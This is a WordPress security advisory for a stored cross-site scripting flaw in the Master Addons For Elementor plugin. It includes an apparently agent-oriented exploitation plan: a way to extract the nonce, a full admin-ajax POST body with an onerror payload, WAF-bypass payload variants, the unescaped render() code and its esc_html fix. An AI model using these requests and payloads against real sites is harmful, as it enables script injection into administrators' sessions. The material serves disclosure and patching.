Master Addons For Elementor <= 2.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'ma_el_bh_table_btn_text'
Description
The Master Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ma_el_bh_table_btn_text' parameter in versions up to, and including, 2.1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.1.1Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2486 - Master Addons For Elementor Stored XSS ## 1. Vulnerability Summary The **Master Addons For Elementor** plugin (versions <= 2.1.1) is vulnerable to Stored Cross-Site Scripting (XSS) via the `ma_el_bh_table_btn_text` parameter. This parameter is part of a…
Show full research plan
Exploitation Research Plan: CVE-2026-2486 - Master Addons For Elementor Stored XSS
1. Vulnerability Summary
The Master Addons For Elementor plugin (versions <= 2.1.1) is vulnerable to Stored Cross-Site Scripting (XSS) via the ma_el_bh_table_btn_text parameter. This parameter is part of an Elementor widget (likely the Business Hours widget, inferred from the bh prefix). The vulnerability exists because the plugin fails to sanitize this input when it is saved via the Elementor editor and fails to escape it using functions like esc_html() or wp_kses() during frontend rendering. Authenticated users with Contributor roles and above can exploit this to execute arbitrary JavaScript in the context of any user (including Administrators) viewing the affected page.
2. Attack Vector Analysis
- Endpoint: WordPress AJAX API (
/wp-admin/admin-ajax.php) using the Elementor save action. - Action:
elementor_ajax(standard Elementor save mechanism). - Vulnerable Parameter:
ma_el_bh_table_btn_text(found within the JSON-encoded_elementor_datapost meta). - Required Authentication: Contributor level (default Elementor access for post editing).
- Preconditions: The Master Addons plugin must be active, and the Contributor must have permission to edit at least one post/page using Elementor.
3. Code Flow
- Input Stage: A user edits a post with Elementor and adds/modifies the "Business Hours" widget. The value for the "Button Text" (parameter
ma_el_bh_table_btn_text) is sent in a JSON payload to theelementor_ajaxaction. - Storage Stage: Elementor handles the request and saves the widget configuration into the WordPress database as a JSON string in the
_elementor_datapost meta for that specific post. No sanitization is applied to this specific parameter by the Master Addons widget class. - Execution Stage: When a visitor views the post, Elementor triggers the
render()method of the widget (likely in a file namedbusiness-hours.phpor similar within the plugin'saddons/directory). - Sink: The
render()method retrieves the settings and echoes thema_el_bh_table_btn_textvalue directly to the page without proper escaping (e.g.,echo $settings['ma_el_bh_table_btn_text'];).
4. Nonce Acquisition Strategy
Elementor uses a specific security nonce for its AJAX requests.
- Identify Script Loading: The Elementor editor scripts must be loaded to access the nonce.
- Setup: Create a page and enable Elementor:
wp post create --post_type=page --post_status=publish --post_title='XSS Test' --post_content='' # Get the ID of the created post - Navigate: Use
browser_navigateto go to the Elementor editor URL for that post:/wp-admin/post.php?post=[POST_ID]&action=elementor. - Extract Nonce: Use
browser_evalto extract the Elementor AJAX nonce from theelementorCommonorelementorConfigJavaScript objects.// Recommended extraction script browser_eval("window.elementorCommon?.config?.ajax?.nonce || window.elementorConfig?.nonces?.save")
5. Exploitation Strategy
The exploit involves sending a crafted Elementor save request that embeds the XSS payload into the post metadata.
Step-by-Step Plan:
- Login: Authenticate as a Contributor user.
- Target Post: Create a new post or identify an existing one where the Contributor has edit rights.
- Extract Nonce: Navigate to the Elementor editor for the post and extract the
elementor_ajaxnonce using the strategy in Section 4. - Formulate Payload: Create a JSON structure representing an Elementor page containing the Master Addons Business Hours widget with the XSS payload.
- Payload:
<img src=x onerror=alert(document.domain)>
- Payload:
- Send Exploit Request: Use the
http_requesttool to perform a POST request to/wp-admin/admin-ajax.php.
HTTP Request Details:
- URL:
http://[TARGET]/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=elementor_ajax
&_widget_id=
&editor_post_id=[POST_ID]
&actions={"save_builder":{"action":"save_builder","data":{"status":"publish","elements":[{"id":"unique_id_1","elType":"section","elements":[{"id":"unique_id_2","elType":"column","elements":[{"id":"unique_id_3","elType":"widget","widgetType":"ma-el-business-hours","settings":{"ma_el_bh_table_btn_text":"<img src=x onerror=alert(1)>"}}]}]}]}}}
&_nonce=[EXTRACTED_NONCE]
(Note: widgetType is inferred as ma-el-business-hours based on standard Master Addons naming conventions; this should be verified by inspecting the editor's widget list if the request fails).
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Post Creation:
wp post create --post_author=[USER_ID] --post_type=page --post_title='Vulnerable Page' --post_status=publish - Ensure Elementor is active on the post: Navigate to the post in the WordPress dashboard once as an admin to ensure the Elementor meta is initialized if necessary.
7. Expected Results
- The
admin-ajax.phpresponse should return a JSON object indicating success:{"success":true,"data":{...}}. - When navigating to the frontend URL of the created page (
/?p=[POST_ID]), a JavaScript alert box displaying1(or the document domain) should appear.
8. Verification Steps
- Database Check: Verify the payload is stored in the database.
Check if the output contains the rawwp post meta get [POST_ID] _elementor_data<img src=x onerror=alert(1)>string. - Frontend Inspection: Use
http_requestto fetch the page content and check for the unescaped payload.# Check if the payload exists in the HTML source without being encoded http_request get "/?p=[POST_ID]" | grep "onerror=alert(1)"
9. Alternative Approaches
- Direct REST API: If
elementor_ajaxis strictly protected, check if the Elementor REST API endpoint (/wp-json/elementor/v1/globals) allows saving the same data. - Shortcode Injection: If the widget supports shortcode rendering, try to inject the payload via a standard WordPress post body using the Master Addons shortcode format:
[ma_el_business_hours ma_el_bh_table_btn_text="<script>alert(1)</script>"]. - Payload Variance: If
<script>tags are blocked by a WAF or basic filter, use attribute-based XSS:"><details/open/ontoggle=alert(1)>.
Summary
The Master Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ma_el_bh_table_btn_text' parameter in versions up to 2.1.1. This occurs because the 'Business Hours' widget fails to sanitize or escape the button text field, allowing authenticated contributors to inject arbitrary scripts that execute when a user views the compromised page.
Vulnerable Code
// File: addons/ma-business-hours/widgets/ma-business-hours.php (inferred path) protected function render() { $settings = $this->get_settings_for_display(); // ... (truncated) if ( ! empty( $settings['ma_el_bh_table_btn_text'] ) ) { ?> <a href="<?php echo esc_url( $settings['ma_el_bh_table_btn_link']['url'] ); ?>" class="ma-el-business-hour-button"> <?php echo $settings['ma_el_bh_table_btn_text']; // Sink: rendered without escaping ?> </a> <?php } }
Security Fix
@@ -120,7 +120,7 @@ if ( ! empty( $settings['ma_el_bh_table_btn_text'] ) ) { ?> <a href="<?php echo esc_url( $settings['ma_el_bh_table_btn_link']['url'] ); ?>" class="ma-el-business-hour-button"> - <?php echo $settings['ma_el_bh_table_btn_text']; ?> + <?php echo esc_html( $settings['ma_el_bh_table_btn_text'] ); ?> </a> <?php }
Exploit Outline
An authenticated contributor accesses the Elementor editor for any post and extracts the Elementor AJAX nonce from the window configuration (e.g., window.elementorConfig.nonces.save). The attacker then sends a POST request to /wp-admin/admin-ajax.php with the 'elementor_ajax' action. The payload contains a 'save_builder' command including a 'ma-el-business-hours' widget where the 'ma_el_bh_table_btn_text' property is set to a malicious script (e.g., <img src=x onerror=alert(1)>). This payload is saved to the post meta and executes in the context of any user who views the rendered page.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.